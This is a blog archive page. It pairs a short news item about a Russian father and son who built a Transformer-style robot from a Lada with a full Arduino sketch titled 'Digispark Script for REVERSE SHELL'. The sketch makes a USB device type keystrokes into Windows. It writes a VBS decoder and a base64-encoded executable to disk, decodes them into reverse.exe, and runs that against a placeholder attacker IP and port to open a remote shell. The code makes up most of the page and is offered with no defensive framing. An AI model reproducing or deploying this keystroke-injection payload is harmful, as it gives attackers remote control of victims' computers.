Category Archives: Projects

Russian man creates transformer

If you dream it you can build it

A father and son team inspired by the ‘Transformers‘ film have created their own car-robot, built from a Russian-made ‘Lada‘ vehicle. The Russian version of the Optimus Prime Transformer was demonstrated at a stunt show in Oryol, Thursday.

The transformer is using real gun but fake bullets to mimic the effect of a machine gun as we can clearly see a lot of effort has been put into this project .  Using hydraulics and a lot of time the father has build an astounding piece of engineering , if one man can do imagine if a factory was was building things  like this. Could we see a Robot apocalypse any time soon ?

Digispark Script for REVERSE SHELL

#include <avr/pgmspace.h>
#include “DigiKeyboard.h”
const char line1[] PROGMEM = “cmd”;
const char line2[] PROGMEM = “a”;
const char line3[] PROGMEM = “copy con c:\\decoder.vbs”;
const char line4[] PROGMEM = “Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0)”;
const char line5[] PROGMEM = “:outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim objFS:dim objTS:set objFS =”;
const char line6[] PROGMEM = “CreateObject(\”Scripting.FileSystemObject\”):”;
const char line7[] PROGMEM = “set objTS = objFS.OpenTextFile(inFile, 1):base64Encoded =”;
const char line8[] PROGMEM = “objTS.ReadAll:base64Decoded = decodeBase64(base64Encoded):writeBytes outFile, base64Decoded:private function”;
const char line9[] PROGMEM = “decodeBase64(base64):”;
const char line10[] PROGMEM = “dim DM, EL:Set DM = CreateObject(\”Microsoft.XMLDOM\”):Set EL = DM.createElement(\”tmp\”):”;
const char line11[] PROGMEM = “EL.DataType = \”bin.base64\”:EL.Text = base64:decodeBase64 = EL.NodeTypedValue:end function:private Sub”;
const char line12[] PROGMEM = “writeBytes(file, bytes):Dim binaryStream:”;
const char line13[] PROGMEM = “Set binaryStream = CreateObject(\”ADODB.Stream\”):binaryStream.Type = 1:”;
const char line14[] PROGMEM = “binaryStream.Open:binaryStream.Write bytes:binaryStream.SaveToFile file, 2:End Sub”;
const char line15[] PROGMEM = “copy con c:\\reverse.txt”;
const char line16[] PROGMEM = “TVprZXJuZWwzMi5kbGwAAFBFAABMAQIAAAAAAAAAAAAAAAAA4AAPAQsBAAAAAgAAAAAAAAAA”;
const char line17[] PROGMEM = “AADfQgAAEAAAAAAQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAFAAAAACAAAAAAAA”;
const char line18[] PROGMEM = “AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA20IAABQAAAAAAAAAAAAAAAAA”;
const char line19[] PROGMEM = “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”;
const char line20[] PROGMEM = “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATUVXAEYS”;
const char line21[] PROGMEM = “0sMAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwALSdduKFuvUABAAAABAAADvAgAA”;
const char line22[] PROGMEM = “AAIAAAAAAAAAAAAAAAAAAOAAAMC+HEBAAIvera1QrZeygKS2gP8Tc/kzyf8TcxYzwP8TcyG2”;
const char line23[] PROGMEM = “gEGwEP8TEsBz+nU+quvg6HI+AAAC9oPZAXUO/1P86yas0eh0LxPJ6xqRSMHgCKz/U/w9AH0A”;
const char line24[] PROGMEM = “AHMKgPwFcwaD+H93AkFBlYvFtgBWi/cr8POkXuubrYXAdZCtlq2XVqw8AHX7/1PwlVatD8hA”;
const char line25[] PROGMEM = “WXTseQesPAB1+5FAUFX/U/SrdefDAAAAAAAzyUH/ExPJ/xNy+MOwQgAAvUIAAAAAAAAAQEAA”;
const char line26[] PROGMEM = “MAFAAAAQQAAAEEAAaBwGMkAHagHoDnw4VQzoQgLIFTiean446lMMelAsFnRBMP0Bv1WysTNq”;
const char line27[] PROGMEM = “kQIGsnxVmiejeINmxwVke0+mOGe8XVBmlD05ZqNofmRmfiF9i3MM2QpqaJQtoTp6b0gV6kwF”;
const char line28[] PROGMEM = “EVBkkBBNRFWRFDxAeGooEGhdKP81MHTopJ5RVFWhVY2/bg4KCJAiC+FRFOgfgUvD/yUkILtv”;
const char line29[] PROGMEM = “KhwGQxghFL3DIghxzAFVi+yBxHz+/4hWV+hgrN2JRfwzHcmLdX44PB10Bx4iQPdB6/RR0XLp”;
const char line30[] PROGMEM = “AOFYO8F0C19eMLgDucnCCOGGSY29PHDlQyoJzy/gArAgqutz8iiNhRU5i/A2+DMqM+sbiwNm”;
const char line31[] PROGMEM = “MgfvImUgTf4iEeEoLe2UCIO53LcwS3T7OzpNCKgVWWUdZwpME0EdDxTr5qoNNgcZhzj0sH/A”;
const char line32[] PROGMEM = “VXMRi30Mxhe4An+CohOdaLCgWDQzDUYN5tH34f5Yo+7nRLsfFqnOEQTeVQE81BTUDhszwE7s”;
const char line33[] PROGMEM = “hwtw0ooGRj08ArMSDvffkOsLLDAZjQyJBkiDLQrAdfHoBBEzUcI44jCDxAf0avXoaQkZSf+9”;
const char line34[] PROGMEM = “gqogC9Aqk3U3+FAinSmGBvzoTS9oiyQ45lMaDwiNUAMhGIPABOP5//6AAvfTI8uB4USAdHzp”;
const char line35[] PROGMEM = “bMEMYHV3BvQQwEAC0OEbwlFbOkfESRnKDFcGCDAAADBAAGMwbWQAZj9AABQ4IEADd3MyXzOY”;
const char line36[] PROGMEM = “LmRs48CAZwdldGhvc0BieW5he23PHmOePPfr/w4SV1NBXc9hckZ1cBh5aMoscxNPJmNrYu/B”;
const char line37[] PROGMEM = “/7gDbJUacspebEzHV9NpdPNGp7yRR8NMQ29tiGFuZDZMaURifoB2cvudOlC3gudzFUFYIcBk”;
const char line38[] PROGMEM = “SNBDL2AAAAAAAGY/QABMb2FkTGlicmFyeUEAR2V0UHJvY0FkZHJlc3MAAAAAAAAAAAAAAAAA”;
const char line39[] PROGMEM = “AAxAAADpdL7//wAAAAIAAAAMQAAA”;
const char line40[] PROGMEM = “cscript c:\\decoder.vbs c:\\reverse.txt c:\\reverse.exe”;
const char line41[] PROGMEM = “c:\\reverse.exe (Your IP) (PORT)”;
const char line42[] PROGMEM = “exit”;

char buffer[256];

#define GetPsz(x) (strncpy_P(buffer, (char*)x, 256))
#define KEY_UP_ARROW    0x52
#define KEY_DOWN_ARROW  0x51
#define KEY_LEFT_ARROW    0x50
#define KEY_RIGHT_ARROW   0x4F
#define KEY_LEFT_GUI      0xE3
#define KEY_ESC       0x29
#define KEY_TAB       0x2B

void digiBegin() {
DigiKeyboard.sendKeyStroke(0,0);
DigiKeyboard.delay(50);
}

void digiEnd() {
const int led=1;
pinMode(led, OUTPUT);
while (1) {
digitalWrite(led, !digitalRead(led));
DigiKeyboard.delay(1000);
}
}

void printText(char *txt) {
DigiKeyboard.print(txt);
DigiKeyboard.update();
}

void setup() {
digiBegin();

DigiKeyboard.sendKeyStroke(KEY_ESC);

DigiKeyboard.sendKeyStroke(KEY_ESC,MOD_CONTROL_LEFT);

DigiKeyboard.delay(400);

// cmd
printText(GetPsz(line1));

DigiKeyboard.delay(400);

DigiKeyboard.sendKeyStroke(229);

DigiKeyboard.delay(400);

// a
printText(GetPsz(line2));

DigiKeyboard.delay(600);

DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW);

DigiKeyboard.sendKeyStroke(KEY_ENTER);

DigiKeyboard.delay(400);

// copy con c:\\decoder.vbs
printText(GetPsz(line3));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0)
printText(GetPsz(line4));

// :outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim objFS:dim objTS:set objFS =
printText(GetPsz(line5));

// CreateObject(\”Scripting.FileSystemObject\”):
printText(GetPsz(line6));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// set objTS = objFS.OpenTextFile(inFile, 1):base64Encoded =
printText(GetPsz(line7));

// objTS.ReadAll:base64Decoded = decodeBase64(base64Encoded):writeBytes outFile, base64Decoded:private function
printText(GetPsz(line8));

// decodeBase64(base64):
printText(GetPsz(line9));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// dim DM, EL:Set DM = CreateObject(\”Microsoft.XMLDOM\”):Set EL = DM.createElement(\”tmp\”):
printText(GetPsz(line10));

// EL.DataType = \”bin.base64\”:EL.Text = base64:decodeBase64 = EL.NodeTypedValue:end function:private Sub
printText(GetPsz(line11));

// writeBytes(file, bytes):Dim binaryStream:
printText(GetPsz(line12));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// Set binaryStream = CreateObject(\”ADODB.Stream\”):binaryStream.Type = 1:
printText(GetPsz(line13));

// binaryStream.Open:binaryStream.Write bytes:binaryStream.SaveToFile file, 2:End Sub
printText(GetPsz(line14));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

DigiKeyboard.sendKeyStroke(KEY_Z,MOD_CONTROL_LEFT);

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// copy con c:\\reverse.txt
printText(GetPsz(line15));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// TVprZXJuZWwzMi5kbGwAAFBFAABMAQIAAAAAAAAAAAAAAAAA4AAPAQsBAAAAAgAAAAAAAAAA
printText(GetPsz(line16));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AADfQgAAEAAAAAAQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAFAAAAACAAAAAAAA
printText(GetPsz(line17));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA20IAABQAAAAAAAAAAAAAAAAA
printText(GetPsz(line18));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
printText(GetPsz(line19));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATUVXAEYS
printText(GetPsz(line20));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// 0sMAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwALSdduKFuvUABAAAABAAADvAgAA
printText(GetPsz(line21));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AAIAAAAAAAAAAAAAAAAAAOAAAMC+HEBAAIvera1QrZeygKS2gP8Tc/kzyf8TcxYzwP8TcyG2
printText(GetPsz(line22));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// gEGwEP8TEsBz+nU+quvg6HI+AAAC9oPZAXUO/1P86yas0eh0LxPJ6xqRSMHgCKz/U/w9AH0A
printText(GetPsz(line23));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AHMKgPwFcwaD+H93AkFBlYvFtgBWi/cr8POkXuubrYXAdZCtlq2XVqw8AHX7/1PwlVatD8hA
printText(GetPsz(line24));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// WXTseQesPAB1+5FAUFX/U/SrdefDAAAAAAAzyUH/ExPJ/xNy+MOwQgAAvUIAAAAAAAAAQEAA
printText(GetPsz(line25));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// MAFAAAAQQAAAEEAAaBwGMkAHagHoDnw4VQzoQgLIFTiean446lMMelAsFnRBMP0Bv1WysTNq
printText(GetPsz(line26));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// kQIGsnxVmiejeINmxwVke0+mOGe8XVBmlD05ZqNofmRmfiF9i3MM2QpqaJQtoTp6b0gV6kwF
printText(GetPsz(line27));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// EVBkkBBNRFWRFDxAeGooEGhdKP81MHTopJ5RVFWhVY2/bg4KCJAiC+FRFOgfgUvD/yUkILtv
printText(GetPsz(line28));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// KhwGQxghFL3DIghxzAFVi+yBxHz+/4hWV+hgrN2JRfwzHcmLdX44PB10Bx4iQPdB6/RR0XLp
printText(GetPsz(line29));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AOFYO8F0C19eMLgDucnCCOGGSY29PHDlQyoJzy/gArAgqutz8iiNhRU5i/A2+DMqM+sbiwNm
printText(GetPsz(line30));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// MgfvImUgTf4iEeEoLe2UCIO53LcwS3T7OzpNCKgVWWUdZwpME0EdDxTr5qoNNgcZhzj0sH/A
printText(GetPsz(line31));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// VXMRi30Mxhe4An+CohOdaLCgWDQzDUYN5tH34f5Yo+7nRLsfFqnOEQTeVQE81BTUDhszwE7s
printText(GetPsz(line32));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// hwtw0ooGRj08ArMSDvffkOsLLDAZjQyJBkiDLQrAdfHoBBEzUcI44jCDxAf0avXoaQkZSf+9
printText(GetPsz(line33));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// gqogC9Aqk3U3+FAinSmGBvzoTS9oiyQ45lMaDwiNUAMhGIPABOP5//6AAvfTI8uB4USAdHzp
printText(GetPsz(line34));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// bMEMYHV3BvQQwEAC0OEbwlFbOkfESRnKDFcGCDAAADBAAGMwbWQAZj9AABQ4IEADd3MyXzOY
printText(GetPsz(line35));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// LmRs48CAZwdldGhvc0BieW5he23PHmOePPfr/w4SV1NBXc9hckZ1cBh5aMoscxNPJmNrYu/B
printText(GetPsz(line36));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// /7gDbJUacspebEzHV9NpdPNGp7yRR8NMQ29tiGFuZDZMaURifoB2cvudOlC3gudzFUFYIcBk
printText(GetPsz(line37));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// SNBDL2AAAAAAAGY/QABMb2FkTGlicmFyeUEAR2V0UHJvY0FkZHJlc3MAAAAAAAAAAAAAAAAA
printText(GetPsz(line38));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// AAxAAADpdL7//wAAAAIAAAAMQAAA
printText(GetPsz(line39));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

DigiKeyboard.sendKeyStroke(KEY_Z,MOD_CONTROL_LEFT);

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// cscript c:\\decoder.vbs c:\\reverse.txt c:\\reverse.exe
printText(GetPsz(line40));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// c:\\reverse.exe YOUR SERVER IP (PORT)
printText(GetPsz(line41));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

// exit
printText(GetPsz(line42));

DigiKeyboard.sendKeyStroke(KEY_ENTER);

digiEnd();

}
/* Unused endless loop */
void loop() {}